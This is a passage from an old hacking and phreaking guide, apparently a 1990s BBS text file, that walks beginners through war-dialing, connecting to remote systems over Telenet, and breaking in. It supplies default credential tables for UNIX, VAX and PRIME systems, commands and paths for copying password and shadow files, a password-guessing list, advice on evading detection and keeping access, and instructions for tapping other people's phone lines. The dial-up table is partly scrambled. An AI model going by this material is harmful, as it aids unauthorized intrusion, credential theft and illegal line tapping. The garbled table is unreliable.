to, and understand, that I am responsible for my own actions. If I get into trouble using this information for the wrong reasons, I promise not to place the blame on Revelation, LOA, or anyone that provided this file. I understand that this information is for educational purposes only. This file may be used to check your security systems and if you would like a thorough check contact A.S.H. This file is basically a compilation of known hacking and phreaking information and some information gathered from my own experience as a hacker/phreaker. I have tried to make sure that everything excerpted from other documents was put in quotes and labeled with the documents name, and if known, who wrote it. I am sorry if any mistakes were made with quoted information." *-Revelation-* LOA I. HACKING A. What is hacking? Hacking is the act of penetrating computer systems to gain knowledge about the system and how it works. Hacking is illegal because we demand free access to ALL data, and we get it. This pisses people off and we are outcasted from society, and in order to stay out of prison, we must keep our status of being a hacker/phreaker a secret. We can't discuss our findings with anyone but other members of the hacking/phreaking community for fear of being punished. We are punished for wanting to learn. Why is the government spending huge amounts of time and money to arrest hackers when there are other much more dangerous people out there. It is the murderers, rapists, terrorists, kidnappers, and burglers who should be punished for what they have done, not hackers. We do NOT pose a threat to anyone. We are NOT out to hurt people or there computers. I admit that there are some people out there who call themselves hackers and who deliberately damage computers. But these people are criminals, NOT hackers. I don't care what the government says, we are NOT criminals. We are NOT trying to alter or damage any system. This is widely misunderstood. Maybe one day people will believe us when we say that all we want is to learn. There are only two ways to get rid of hackers and phreakers. One is to get rid of computers and telephones, in which case we would find other means of getting what we want.(Like that is really going to happen.) The other way is to give us what we want, which is free access to ALL information. Until one of those two things happen, we are not going anywhere. B. Why hack? As said above, we hack to gain knowledge about systems and the way they work. We do NOT want to damage systems in any way. If you do damage a system, you WILL get caught. But, if you don't damage anything, it is very unlikely that you will be noticed, let alone be tracked down and arrested, which costs a considerable amount of time and money. Beginners should read all the files that they can get their hands on about anything even remotely related to hacking and phreaking, BEFORE they start hacking. I know it sounds stupid and boring but it will definetly pay off in the future. The more you read about hacking and phreaking, the more unlikely it is that you will get caught. Some of the most useless pieces of information that you read could turn out to be the most helpful. That is why you need to read everything possible. C. Hacking rules 1. Never damage any system. This will only get you into trouble. 2. Never alter any of the systems files, except for those needed to insure that you are not detected, and those to insure that you have access into that computer in the future. 3. Do not share any information about your hacking projects with anyone but those you'd trust with your life. 4. When posting on BBS's (Bulletin Board Systems) be as vague as possible when describing your current hacking projects. BBS's CAN be monitered by law enforcement. 5. Never use anyone's real name or real phone number when posting on a BBS. 6. Never leave your handle on any systems that you hack in to. 7. DO NOT hack government computers. 8. Never speak about hacking projects over your home telephone line. 9. Be paranoid. Keep all of your hacking materials in a safe place. 10. To become a real hacker, you have to hack. You can't just sit around reading text files and hanging out on BBS's. This is not what hacking is all about. D. Getting started The very first thing you need to do is get a copy of PKZIP or some other file unzipping utility. Nearly everything that you download from the Internet or from a BBS will be zipped. A zipped file is a file that has been compressed. Zipped files end with the extension ".zip". Then you need to get yourself a good prefix scanner.(also known as a War Dialer) This is a program that automatically dials phone numbers beginning with the three numbers (prefix) that you specify. It checks to see if the number dialed has a carrier.(series of beeps that tells you that you have dialed a computer) Try and find a large business area prefix to scan. It is these businesses that have interesting computers. There are many good scanners out there, but I would recommend Autoscan or A-Dial. These are very easy to use and get the job done quickly and efficiently. E. Where and how to start hacking After you get yourself a good scanner, scan some prefixes and find some cool dialups, then do the following: From your terminal, dial the number you found. Then you should hear a series of beeps (carrier) which tells you that you are connecting to a remote computer. It should then say something like "CONNECT 9600" and then identify the system that you are on. If nothing happens after it says "CONNECT 9600" try hitting enter a few times. If you get a bunch of garbage adjust your parity, data bits, stop bits, baud rate, etc., until it becomes clear. That is one way of connecting to a remote computer. Another way is through Telenet or some other large network. Telenet is a very large network that has many other networks and remote computers connected to it. Ok, here is how you would connect to a remote computer through Telenet: First, you get your local dialup(phone number) from the list that I have provided in Section G. Then you dial the number from your terminal and connect.(If you get a bunch of garbage try changing your parity to odd and your data bits to 7, this should clear it up.) If it just sits there hit enter and wait a few seconds, then hit enter again. Then it will say "TERMINAL=" and you type in your terminal emulation. If you don't know what it is just hit enter. Then it will give you a prompt that looks like "@". From there you type "c" and then the NUA (Network User Address) that you want to connect to. After you connect to the NUA, the first thing you need to do is find out what type of system you are on.(i.e. UNIX, VAX/VMS, PRIME, etc.) There are other things that you can do on Telenet besides connecting to an NUA. Some of these commands and functions are listed in the next section. You can only connect to computers which accept reverse charging. The only way you can connect to computers that don't accept reverse charging is if you have a Telenet account. You can try hacking these. To do this, at the "@" prompt type "access". It will then ask you for your Telenet ID and password. Telenet is probably the safest place to start hacking because of the large numbers of calls that they get. Make sure you call during business hours (late morning or early afternoon) so there are many other people on-line. F. Telenet commands Here is a list of some Telenet commands and their functions. This is only a partial list. Beginners probably won't use these commands, but I put them here for reference anyway. COMMAND FUNCTION c Connect to a host. stat Shows network port. full Network echo. half Terminal echo. telemail Mail.(need ID and password) mail Mail.(need ID and password) set Select PAD parameters cont Continue. d Disconnect. hangup Hangs up. access Telenet account.(ID and password) G. Telenet dialups Here is the list of all the Telenet dialups that I know of in the U.S.A., including the city, state, and area code: STATE,CITY: AREA CODE: NUMBER: AL, Anniston 205 236-9711 AL, Birmingham 205 328-2310 AL, Decatur 205 355-0206 AL, Dothan 205 793-5034 AL, Florence 205 767-7960 AL, Huntsville 205 539-2281 AL, Mobile 205 432-1680 AL, Montgomery 205 269-0090 AL, Tuscaloosa 205 752-1472 AZ, Phoenix 602 254-0244 AZ, Tucson 602 747-0107 AR, Ft.Smith 501 782-2852 AR, Little Rock 501 327-4616 CA, Bakersfield 805 327-8146 CA, Chico 916 894-6882 CA, Colton 714 824-9000 CA, Compton 213 516-1007 CA, Concord 415 827-3960 CA, Escondido 619 741-7756 CA, Eureka 707 444-3091 CA, Fresno 209 233-0961 CA, Garden Grove 714 898-9820 CA, Glendale 818 507-0909 CA, Hayward 415 881-1382 CA, Los Angeles 213 624-2251 CA, Marina Del Rey 213 306-2984 CA, Merced 209 383-2557 CA, Modesto 209 576-2852 CA, Montery 408 646-9092 CA, Norwalk 213 404-2237 CA, Oakland 415 836-4911 CA, Oceanside 619 430-0613 CA, Palo Alto 415 856-9995 CA, Pomona CA, Sacramento 714 916 CA, Salinas 626-1284 448-6262 408 443-4940 CA, San Carlos 415 591-0726 CA, San Diego 619 233-0233 CA, San Francisco 415 956-5777 CA, San Jose 408 294-9119 CA, San Pedro 213 548-6141 CA, San Rafael 415 472-5360 CA, San Ramon 415 829-6705 CA, Santa Ana 714 558-7078 CA, Santa Barbara 805 682-5361 CA, Santa Cruz 408 429-6937 CA, Santa Rosa 707 656-6760 CA, Stockton 209 957-7610 CA, Thousand Oaks 805 495-3588 CA, Vallejo 415 724-4200 CA, Ventura 805 656-6760 CA, Visalia 209 627-1201 CA, West Covina 818 915-5151 CA, Woodland Hills 818 887-3160 C0, Colorado 719 635-5361 CO, Denver 303 337-6060 CO, Ft. Collins 303 493-9131 CO, Grand Junction 303 241-3004 CO, Greeley 303 352-8563 CO, Pueblo CT, Bridgeport 719 203 CT, Danbury 542-4053 335-5055 203 794-9075 CT, Hartford 203 247-9479 CT, Middletown 203 344-8217 CT, New Britain 203 225-7027 CT, New Haven 203 624-5954 CT, New London 203 447-8455 CT, Norwalk 203 866-7404 CT, Stamford 203 348-0787 CT, Waterbury 203 753-4512 DE, Dover 302 678-8328 DE, Newark 302 454-7710 DC, Washington 202 429-7896 DC, Washington 202 429-7800 FL, Boca Raton 407 338-3701 FL, Cape Coral 813 275-7924 FL, Cocoa Beach 407 267-0800 FL, Daytona Beach 904 255-2629 FL, Ft. Lauderdale 305 764-4505 FL, Gainsville 904 338-0220 FL, Jacksonville 904 353-1818 FL, Lakeland 813 683-5461 FL, Melbourne 407 242-8247 FL, Miami 305 372-0230 FL, Naples 813 263-3033 FL, Ocala 904 351-3790 FL, Orlando 407 422-4099 FL, Pensacola 904 FL, Pompano Beach 432-1335 305 941-5445 FL, St. Petersburg 813 323-4026 FL, Sarasota 813 923-4563 FL, Tallahassee 904 681-1902 FL, Tampa FL, West Palm Beach GA, Albany 813 407 224-9920 833-6691 912 888-3011 GA, Athens 404 548-5590 GA, Atlanta 404 523-0834 GA, Augusta 404 724-2752 GA, Colombus 404 GA, Macon 571-0556 912 743-8844 GA, Rome 404 234-1428 GA, Savannah 912 236-2605 HI, Oahu 808 528-0200 ID, Boise 208 343-0611 ID, Idaho Falls 208 529-0406 ID, Lewiston 208 743-0099 ID, Pocatella 208 232-1764 IL, Aurora IL, Bloomington 312 309 896-0620 827-7000 IL, Chicago 312 938-0600 IL, Decatur 217 429-0235 IL, Dekalb 815 758-2623 IL, Joliet 815 726-0070 IL, Peoria 309 637-8570 IL, Rockford 815 965-0400 IL, Springfield 217 753-1373 IL, Urbana 217 384-6428 IN, Bloomington 812 332-1344 IN, Evansville 812 424-7693 IN, Ft. Wayne 219 426-2268 IN, Gary 219 882-8800 IN, Indianapolis 317 299-0024 IN, Kokomo IN, Lafayette 317 317 IN, Muncie 455-2460 742-6000 317 282-6418 IN, South Bend 219 233-7104 IN, Terre Haute 812 232-5329 IA, Ames 515 233-6300 IA, Cedar Rapids 319 364-0911 IA, Davenport 319 324-2445 IA, Des Moines 515 288-4403 IA, Dubuque 319 556-0783 IA, Iowa City 319 351-1421 IA, Sioux City 712 255-1545 IA, Waterloo 319 232-5441 KS, Lawrence 913 843-8124 KS, Manhattan 913 537-0948 KS, Salina 913 825-7900 KS, Topeka 913 233-9880 KS, Wichita 316 262-5669 KY, Bowling Green 502 782-7941 KY, Frankfort 502 875-4654 KY, Lexington 606 233-0312 KY, Louisville 502 589-5580 KY, Owensboro 502 686-8107 LA, Alexandria 318 445-1053 LA, Baton Rouge 504 343-0753 LA, Lafayette 318 233-0002 LA, Lake Charles 318 436-0518 LA, Monroe 318 387-6330 LA, New Orleans 504 524-4094 LA, Shreveport 318 221-5833 ME, Augusta 207 622-3123 ME, Brewer 207 989-3081 ME, Lewiston 207 784-0105 ME, Portland 207 761-4000 MD, Annapolis 301 224-8550 MD, Baltimore 301 727-6060 MD, Frederick 301 293-9596 MA, Boston 617 292-0662 MA, Brockton 508 580-0721 MA, Fall River 508 677-4477 MA, Framingham 508 879-6798 MA, Lawrence 508 975-2273 MA, Lexington 617 863-1550 MA, Lowell MA, New Bedford 508 508 937-5214 999-2915 MA, Northampton 413 586-0510 MA, Pittsfield 413 499-7741 MA, Salem 508 744-1559 MA, Springfield 413 781-3811 MA, Woods Hole 508 540-7500 MA, Worcester 508 755-4740 MI, Ann Arbor 313 996-5995 MI, Battle Creek 616 968-0929 MI, Detroit 313 964-2988 MI, Flint 313 235-8517 MI, Grand Rapids 616 MI, Jackson MI, Kalamazoo 774-0966 517 616 782-8111 345-3088 MI, Lansing 517 484-0062 MI, Midland 517 832-7068 MI, Muskegon 616 MI, Pontiac MI, Port Huron 313 313 MI, Saginaw MI, Southfield 726-5723 332-5120 982-8364 517 313 790-5166 827-4710 MI, Traverse City 616 946-2121 MI, Warren 313 575-9152 MN, Duluth 218 722-1719 MN, Mankato 517 388-3780 MN, Minneapolis 612 341-2459 MN, Rochester 507 282-5917 MN, St. Cloud 612 253-2064 MS, Gulfport 601 863-0024 MS, Jackson 601 969-0036 MS, Meridian 601 482-2210 MS, Starkville 601 324-2155 MO, Columbia 314 449-4404 MO, Jefferson City 314 634-5178 MO, Kansas City 816 221-9900 MO, St. Joseph 816 279-4797 MO, St. Louis 314 421-4990 MO, Springfield 417 864-4814 MT, Billings 406 245-7649 MT, Great Falls 406 771-0067 MT, Helena MT, Missoula 406 406 443-0000 721-5900 NE, Lincoln 402 475-4964 NE, Omaha 402 341-7733 NV, Las Vegas 702 737-6861 NV, Reno 702 827-6900 NH, Concord 603 224-1024 NH, Durham 603 868-2924 NH, Manchester 603 NH, Nashua NH, Portsmouth 627-8725 603 603 NJ, Atlantic City 880-6241 431-2302 609 348-0561 NJ, Freehold 201 780-5030 NJ, Hackensack 201 488-6567 NJ, Marlton 609 596-1500 NJ, Merchantville 609 663-9297 NJ, Morristown 201 455-0275 NJ, New Brunswick 201 745-2900 NJ, Newark 201 623-0469 NJ, Passaic 201 778-5600 NJ, Paterson 201 684-7560 NJ, Princeton 609 799-5587 NJ, Rahway 201 815-1885 NJ, Redbank 201 571-0003 NJ, Roseland 201 227-5277 NJ, Sayreville 201 525-9507 NJ, Trenton 609 989-8847 NM, Albuquerque 505 243-4479 NM, Las Cruces 505 526-9191 NM, Santa Fe 505 473-3403 NY, Albany NY, Binghampton 518 607 465-8444 772-6642 NY, Buffalo 716 847-1440 NY, Dear Park 516 667-5566 NY, Hempstead 516 292-3800 NY, Ithaca 607 277-2142 NY, New York City 212 741-8100 NY, New York City 212 620-6000 NY, Plattsburgh 518 562-1890 NY, Poughkeepsie 914 473-2240 NY, Rochester 716 454-1020 NY, Syracuse 315 472-5583 NY, Utica 315 797-0920 NY, Whit Plains 914 328-9199 NC, Asheville 704 252-9134 NC, Charlotte 704 332-3131 NC, Fayetteville 919 323-8165 NC, Gastonia 704 865-4708 NC, Greensboro 919 273-2851 NC, High Point 919 889-7494 NC, North Wilkesboro 919 838-9034 NC, Raleigh NC, Res Tri Park 919 919 NC, Tarboro NC, Wilmington 549-8139 919 919 823-0579 763-8313 NC, Winston-Salem 919 ND, Fargo 701 ND, Grand Forks 834-8254 701 725-2126 235-7717 775-7813 ND, Mandan 701 663-2256 OH, Canton 216 452-0903 OH, Cincinnati 513 579-0390 OH, Cleveland 216 575-1658 OH, Colombus 614 463-9340 OH, Dayton 513 461-5254 OH, Elyria 216 323-5059 OH, Hamilton 513 863-4116 OH, Kent 216 678-5115 OH, Lorain 216 960-1170 OH, Mansfield 419 526-0686 OH, Sandusky 419 627-0050 OH, Springfield 513 324-1520 OH, Toledo 419 255-7881 OH, Warren 216 394-0041 OH, Wooster 216 264-8920 OH, Youngstown 216 743-1296 OK, Bartlesville 918 336-3675 OK, Lawton 405 353-0333 OK, Oklahoma City 405 232-4546 OK, Stillwater 405 OK, Tulsa OR, Corvallis 918 503 OR, Eugena OR, Hood River 624-1113 584-3247 754-9273 503 503 683-1460 386-4405 OR, Klamath Falls 503 882-6282 OR, Medford 503 779-6343 OR, Portland 503 OR, Salem PA, Allentown 295-3028 503 215 PA, Altoona 378-7712 435-3330 814 949-0310 PA, Carlisle 717 249-9311 PA, Danville 717 271-0102 PA, Erie 814 899-2241 PA, Harrisburg 717 236-6882 PA, Johnstown 814 535-7576 PA, King Of Prussia 215 337-4300 PA, Lancaster 717 295-5405 PA, Philadelphia 215 574-9462 PA, Pittsburgh 412 288-9950 PA, Reading PA, Scranton 215 717 PA, State College 376-8750 961-5321 814 231-1510 PA, Wilkes-Barre 717 829-3108 PA, Williamsport 717 494-1796 PA, York 717 846-6550 RI, Providence 401 751-7910 SC, Charleston 803 722-4303 SC, Columbia 803 254-0695 SC, Greenville 803 233-3486 SC, Spartenburg 803 585-1637 SC, Pierre 605 224-0481 SC, Rapid City 605 348-2621 SC, Sioux Falls 605 336-8593 TN, Bristol 615 968-1130 TN, Chattanooga 615 756-1161 TN, Clarksville 615 552-0032 TN, Johnson City 615 282-6645 TN, Knoxville 615 525-5500 TN, Memphis 901 521-0215 TN, Nashville 615 244-3702 TN, Oak Ridge 615 481-3590 TX, Abilene TX, Amarillo 915 806 676-9151 373-0458 TX, Athens 214 677-1712 TX, Austin 512 928-1130 TX, Brownsville 512 TX, Bryan TX, Corpus Christi 542-0367 409 512 822-0159 884-9030 TX, Dallas 214 748-6371 TX, El Paso 915 532-7907 TX, Ft. Worth 817 332-4307 TX, Galveston 409 762-4382 TX, Houston 713 227-1018 TX, Laredo 512 724-1791 TX, Longview 214 236-4205 TX, Lubbock 806 747-4121 TX, Mcallen 512 686-5360 TX, Midland 915 561-9811 TX, Nederland 409 722-3720 TX, San Angelo 915 944-7612 TX, San Antonio 512 225-8004 TX, Sherman 214 893-4995 TX, Temple 817 773-9723 TX, Tyler 214 597-8925 TX, Waco 817 752-9743 TX, Wichita Falls 817 322-3774 UT, Ogden 801 627-1630 UT, Provo 801 373-0542 UT, Salt Lake City 801 359-0149 VT, Burlington 802 864-0808 VT, Montpelier 802 229-4966 VT, Rutland 802 775-1676 VT, White River Jct. 802 295-7631 VA, Blacksburg 703 552-9181 VA, Charlottesville 804 977-5330 VA, Covington 703 962-2217 VA, Fredericksburg 703 371-0188 VA, Harrisonburg 703 VA, Herndon 434-7121 703 435-1800 VA, Lynchburg 804 845-0010 VA, Newport News 804 596-6600 VA, Norfolk VA, Richmond 804 804 625-1186 788-9902 VA, Roanoke 703 344-2036 WA, Auburn 206 939-9982 WA, Bellingham 206 WA, Everett WA, Longview 206 206 WA, Olympia WA, Richland 733-2720 775-9929 577-5835 206 509 754-0460 943-0649 WA, Seattle 206 625-9612 WA, Spokane 509 455-4071 WA, Tacoma 206 627-1791 WA, Vancouver 206 693-6914 WA, Wenatchee 509 663-6227 WA, Yakima WV, Charleston 509 304 575-1060 343-6471 WV, Huntington 304 523-2802 WV, Morgantown 304 292-0104 WV, Wheeling 304 233-7732 WI, Beloit 608 362-5287 WI, Eau Claire 715 836-9295 WI, Green Bay 414 432-2815 WI, Kenosha WI, La Crosse 414 608 WI, Madison WI, Milwaukee 552-9242 784-0560 608 414 257-5010 271-3914 WI, Neenah 414 722-7636 WI, Racine 414 632-6166 WI, Sheboygan 414 WI, Wausau WI, West Bend 715 414 WY, Casper WY, Cheyenne WY, Laramie 452-3995 845-9584 334-2206 307 307 265-5167 638-4421 307 H. Telenet DNIC's Here is the list of all the Telenet DNIC's. These will be defined and explained in the next section: DNIC: NETWORK: 02041 Datanet-1 02062 DCS 02080 Transpac 02284 Telepac (Switzerland) 02322 Datex-P (Austria) 02392 Radaus 02342 PSS 02382 Datapak (Denmark) 721-5878 02402 Datapak (Sweden) 02405 Telepak 02442 Finpak 02624 Datex-P (West Germany) 02704 Luxpac 02724 Eirpak 03020 Datapac 03028 Infogram 03103 ITT/UDTS (U.S.A.) 03106 Tymnet 03110 Telenet 03340 Telepac (Mexico) 03400 UDTS (Curacau) 04251 Isranet 04401 DDX-P 04408 Venus-P 04501 Dacom-Net 04542 Intelpak 05052 Austpac 05053 Midas 05252 Telepac (Hong Kong) 05301 Pacnet 06550 Saponet 07240 Interdata 07241 Renpac 07421 Dompac 09000 Dialnet I. Telenet NUA's Here is a list of a few Telenet NUA's and what type of system they are. But first, this is how an NUA is put together: 031106170023700 \ /\ / \ / | DNIC Area | | NUA Code The DNIC says which network connected to Telenet you are using. The area code is the area code for the area that the NUA is in. And the NUA is the address of the computer on Telenet. Please note that an NUA does NOT have to be in your area code for you to connect to it. There are two ways of finding useful NUA's. The first way is to get or write an NUA scanning program. The second way is to get a copy of the Legion Of Doom's Telenet Directory.( Volume 4 of the LOD Technical Journals) Now, here is the list. Remember that these are only a few NUA's. These are NOT all of the Telenet NUA's. All of these NUA's DO accept reverse charging. Also, please note that all of these may not be working by the time you read this and that network congestion frequently makes an NUA inaccessible for a short period of time. NUA: SYSTEM TYPE: 031102010022500 VAX 031102010015600 UNIX 031102010022000 VAX 031102010025900 UNIX 031102010046100 VAX 031102010025200 PRIME 031102010046100 VAX 031102010052200 VAX 031102020001000 PRIME 031102020013200 VAX 031102020014100 PRIME 031102020014200 PRIME 031102020015000 VAX 031102020016100 UNIX 031102020021400 PRIME 031102020024500 AOS 031102020030800 PRIME 031102020030900 PRIME 031102020031200 PRIME 031102020033600 VAX 031102020033700 VAX 031102020034300 PRIME 031102020036000 HP-3000 031102030007500 VAX 031102030002200 VM/370 031102030013600 PRIME 031102060003200 HP-3000 031102060044000 VAX 031102060044900 NOS 031102060044700 VM/370 031102120003900 NOS 031102120015200 PRIME 031102120026600 VAX 031102120026300 VAX 031102120026700 UNIX 031102120044900 UNIX 031102120053900 VOS 031102140024000 VAX J. Basic UNIX hacking UNIX is probably the most commonly used operating system on Telenet, and is the easiest to hack since it doesn't record bad login attempts. You know you've found a UNIX system when it gives you a "Login" prompt, and then a "Password" prompt. To get in you should first try the default logins.(Listed below.) If these don't work try some of the passwords listed in Section M. If these don't work try to find backdoors. These are passwords that may have been put in to allow the programmer (or someone else who could be in a position to make a backdoor) to get access into the system. These are usually not known about by anyone but the individual who made it. Try doing some research on the programmer and other people who helped to make the system. And, if these don't work, just try guessing them. The Login (usually the account holders name) has 1-8 characters and the Password is 6-8 characters. Both can be either letters or numbers, or a combination of the two. Once you get in, you should get a "$" prompt, or some other special character like it. You should only use lower case letters when hacking UNIX, this seems to be standard format. If you type "man [command]" at the prompt, it should list all of the commands for that system. Anyway, here are the default Logins and Passwords: Login: Password: root root root system sys sys sys system daemon daemon uucp uucp tty tty test test unix unix unix test bin bin adm adm adm admin admin adm admin admin sysman sysman sysman sys sysman system sysadmin sysadmin sysadmin sys sysadmin system sysadmin admin sysadmin adm who who learn learn uuhost uuhost guest guest host host nuucp nuucp rje rje games games games player sysop sysop root sysop demo demo Once you are in, the first thing that you need to do is save the password file to your hard drive or to a disk. The password file contains the Logins and Passwords. The passwords are encoded. To get the UNIX password file, depending on what type of UNIX you are in, you can type one of the following things: /etc/passwd or cat /etc/passwd The first one is the standard command, but there are other commands as well, like the second one. Once you get the password file, it should look like this: john:234abc56:9999:13:John Johnson:/home/dir/john:/bin/john Broken down, this is what the above password file states: Username: john Encrypted Password: 234abc56 User Number: 9999 Group Number: 13 Other Information: John Johnson Home Directory: /home/dir/john Shell: /bin/john If the password file does not show up under one of the above two commands, then it is probably shadowed. The following definition of password shadowing was taken from the alt.2600 hack faq: "Password shadowing is a security system where the encrypted password field is replaced with a special token and the encrypted password is stored in a seperate file which is not readable by normal system users." If the password file is shadowed, you can find it in one of the following places, depending on the type of UNIX you are using: UNIX System Type: Path: Token: AIX 3 /etc/security/passwd or /tcb/auth/files/<first letter of ! # username>/<username> A/UX 3.Os /tcb/files/auth/* BSD4.3-Reno /etc/master.passwd ConvexOS 10 /etc/shadpw * * Convex0S 11 /etc/shadow * DG/UX /etc/tcb/aa/user EP/IX /etc/shadow x * HP-UX /.secure/etc/passwd IRIX 5 * /etc/shadow Linux 1.1 x /etc/shadow * OSF/1 /etc/passwd[.dir|.pag] SCO UNIX #.2.x /tcb/auth/files/<first letter of * * username>/<username> SunOS 4.1+c2 /etc/security/passwd.adjunct SunOS 5.0 ## /etc/shadow System V 4.0 /etc/shadow x System V 4.2 /etc/security/* database Ultrix 4 /etc/auth[.dir|.pag] * UNICOS /etc/udb * Some passwords can only be used for a certain amount of time without having to be changed, this is called password aging. In the password file example below, the "C.a4" is the password aging data: bob:123456,C.a4:6348:45:Bob Wilson:/home/dir/bob:/bin/bob The characters in the password aging data stand for the following: 1. Maximum number of weeks a password can be used without changing. 2. Minimum number of weeks a password must be used before being changed. 3&4. Last time password was changed, in number of weeks since 1970. The password aging data can be decoded using the chart below: Character: Number: . 0 / 1 0 2 1 3 2 4 3 5 4 6 5 7 6 8 7 9 8 10 9 11 A 12 B 13 C 14 D 15 E 16 F 17 G 18 H 19 I 20 J 21 K 22 L 23 M 24 N 25 O 26 P 27 Q 28 R 29 S 30 T 31 U 32 V 33 W 34 X 35 Y 36 Z 37 a 38 b 39 c 40 d 41 e 42 f 43 g 44 h 45 i 46 j 47 k 48 l 49 m 50 n 51 o 52 p 53 q 54 r 55 s 56 t 57 u 58 v 59 w 60 x 61 y 62 z 63 Now, explore the system freely, be careful, and have fun! K. Basic VAX/VMS hacking The VAX system runs the VMS (Virtual Memory System) operating system. You know that you have a VAX system when you get a "username" prompt. Type in capital letters, this seems to be standard on VAX's. Type "HELP" and it gives you all of the help that you could possibly want. Here are the default usernames and passwords for VAX's: Username: Password: SYSTEM OPERATOR SYSTEM MANAGER SYSTEM SYSTEM SYSTEM SYSLIB OPERATOR OPERATOR SYSTEST UETP SYSTEST SYSTEST SYSTEST TEST SYSMAINT SYSMAINT SYSMAINT SERVICE SYSMAINT DIGITAL FIELD FIELD FIELD SERVICE GUEST GUEST GUEST unpassworded DEMO DEMO DEMO unpassworded TEST TEST DECNET DECNET Here are some of the VAX/VMS commands: Command: Function: HELP (H) Gives help and list of commands. TYPE (T) View contents of a file. RENAME (REN) Change name of a file. PURGE (PU) Deletes old versions of a file. PRINT (PR) Prints a file. DIRECTORY (DIR) DIFFERENCES Shows list of files. (DIF) Shows differences between files. CREATE (CR) DELETE (DEL) Creates a file. Deletes a file. COPY (COP) CONTINUE (C) Copy a file to another. Continues session. The password file on VAX's are available when you type in the command: SYS$SYSTEM:SYSUAF.DAT The password file on most VAX's are usually not available to normal system users, but try it anyway. If the default logins don't work, use the same means of finding one as stated in Section J. Be VERY careful when hacking VAX's becuase they record every bad login attempt. They are sometimes considered one of the most secure systems. Because of this, I advise not to try hacking these until you are more advanced. But, when you are an advanced hacker, or if you are already an advanced hacker, I advise that you try a few passwords at a time and then wait and try a few more the next day and so on, because when the real user logs on it displays all of the bad login attempts. L. Basic PRIME hacking PRIME computer systems greet you with "Primecon 18.23.05", or something like it, when you connect. You should type in capital letters on this system, too. Once you connect, it will usually just sit there. If this happens, type "LOGIN <USERNAME>". It should then ask you for your username and password. The default usernames and passwords are listed below: Username: Password: PRIME PRIME PRIME PRIMOS PRIMOS PRIMOS PRIMOS PRIME PRIMOS_CS PRIME PRIMOS_CS PRIMOS PRIMENET PRIMENET SYSTEM SYSTEM SYSTEM PRIME SYSTEM PRIMOS NETLINK NETLINK TEST TEST GUEST GUEST GUEST1 GUEST When you are inside the system, type "NETLINK" and it ahould give you alot of help. This system uses NUA's, too. I might print these in the next volume. M. Password List The password list was taken from A Novice's Guide To Hacking, by The Legion Of Doom, and from some of my own discoveries. Here is the list of commonly used passwords: Password: aaa academia ada adrian aerobics airplane albany albatross albert alex alexander algebra alias alisa alpha alphabet ama amy analog anchor andy andrea animal answer anything arrow arthur ass asshole athena atmosphere bacchus badass bailey banana bandit banks bass batman beautiful beauty beaver daniel danny dave deb debbie deborah december desire desperate develop diet digital discovery disney dog drought duncan easy eatme edges edwin egghead eileen einstein elephant elizabeth ellen emerald engine engineer enterprise enzyme euclid evelyn extension fairway felicia fender finite format god hello idiot jester john johnny joseph joshua judith juggle julia kathleen kermit kernel knight lambda larry lazarus lee leroy lewis light lisa louis love lynne mac macintosh mack maggot magic malcolm mark markus martin marty marvin matt master maurice maximum merlin mets michael michelle mike minimum nicki nicole rascal really rebecca remote rick reagan robot robotics rolex ronald rose rosebud rosemary roses ruben rules ruth sal saxon scheme scott secret sensor serenity sex shark sharon shit shiva shuttle simon simple singer single singing smile smooch smother snatch snoopy soap socrates spit spring subway success summer super support surfer suzanne tangerine tape target taylor telephone temptation tiger tigger toggle tomato toyota trivial unhappy unicorn unknown urchin utility vicki virgin virginia warren water weenie whatnot whitney will william winston willie wizard wonbat yosemite zap N. Connecting modems to different phone lines Ok, if you are really paranoid (or smart) and you don't want to hack from your house for fear of getting caught, you can hook up your modem to other peoples phone lines or to payphones. If you want to hook your modem to a payphone, do it late at night and at a very secluded payphone. Look along either side of the phone. You should see a small metal tube (which contains the telephone wires) running along the wall. Somewhere along the tube it should widen out into a small box. Pop off the boxes lid and there is a nice little phone jack for ya'. Taking off the lid may be difficult because they are usually pretty secure, but nothing is impossible, so keep trying. Of course, you can only do this with a lap-top computer. Now, if you want to hook up the modem to someone's house or appartment phone line, you need to get a pair of red and green alligator clips, and an extra modem cord for your lap-top. After you get those parts, cut the plastic end off of your modem cord and you will see a red wire, a green wire, and two other wires, but you can ignore those. Attach the red alligator clip to the red wire, and attach the green alligator clip to the green wire and you're all set. Now all you need to do is go find a telephone pole or one of those small green boxes that stick out of the ground.(They should have a Bell Systems logo on them.) On a telephone pole open the little box that has a bunch of wires going to and from it. On the right side of the box you should see what look like two large screws.(These are called "terminals".) One should have a red wire wrapped around it and the other should have a green wire wrapped around it. Attach the red alligator clip the the red wire and the green alligator clip to the green wire, and you're all set. This should get you a dial tone. If it doesn't, make sure that the alligator clips are not touching each other, and that the alligator clips are attached to the exposed end of the wire. Now, on those green boxes you need to undo all of the screws and shit holding the lid on, and open it up. Then you should find basically the same setup as in the telephone pole. Attach the appropriate wires to the appropriate terminals and you are all set. This process can also be used to hook up a Beige Box (Lineman's Handset.) when phreaking. O. Viruses, Trojans, and Worms Just in case some of you are interested, here are the definitions for Viruses, Trojans, and Worms. These definitions were taken from the alt.2600 hack faq. Trojan: "Remember the Trojan Horse? Bad guys hid inside it until they could get into the city to do their evil deed. A Trojan computer program is similiar. It is a program which does an unauthorized function, hidden inside an authorized program. It does something other than it claims to do, usually something malicious (although not necessarily!), and it is intended by the author to do whatever it does. If it is not intentional, it is called a bug or, in some cases, a feature :) Some Virus scanning programs detect some Trojans. Some scanning programs don't detect any Trojans. No Virus scanners detect all Trojans." Virus: "A Virus is an independent program which reproduces itself. It may attach itself to other programs, it may create copies of itself (as in companion Viruses). It may damage or corrupt data, change data, or degrade the performance of your system by utilizing resources such as memory or disk space. Some Viruse scanners detect some Viruses. No Virus scanners detect all Viruses. No Virus scanner can protect against any and all Viruses, known and unknown, now and forevermore." Worm: "Made famous by Robert Morris, Jr., Worms are programs which reproduce by copying themselves over and over, system to system, using up resources and sometimes slowing down the system. They are self contained and use the networks to spread, in much the same way that Viruses use files to spread. Some people say the solution to Viruses and worms is to just not have any files or networks. They are probably correct. We could include computers." II. PHREAKING A. What is phreaking Phreaking is basically hacking with a telephone. Using different "boxes" and "tricks" to manipulate the phone companies and their phones, you gain many things, two of which are: knowledge about telephones and how they work, and free local and long distance phone calls. In the following sections, you will learn some about boxes, what they are, and how they work. You will also learn about the other forms of phreaking. B. Why phreak? Phreaking, like hacking, is used to gather information about telephones, telephone companies, and how they work. There are other benefits as well. As stated above, you also get free phone calls. But, these are used mainly to gather more information about the phones, and to allow us free access to all information. C. Phreaking rules Most of the same rules apply for hacking and phreaking, so I will only list a few here. 1. Never box over your home phone line. 2. You should never talk about phreaking projects over 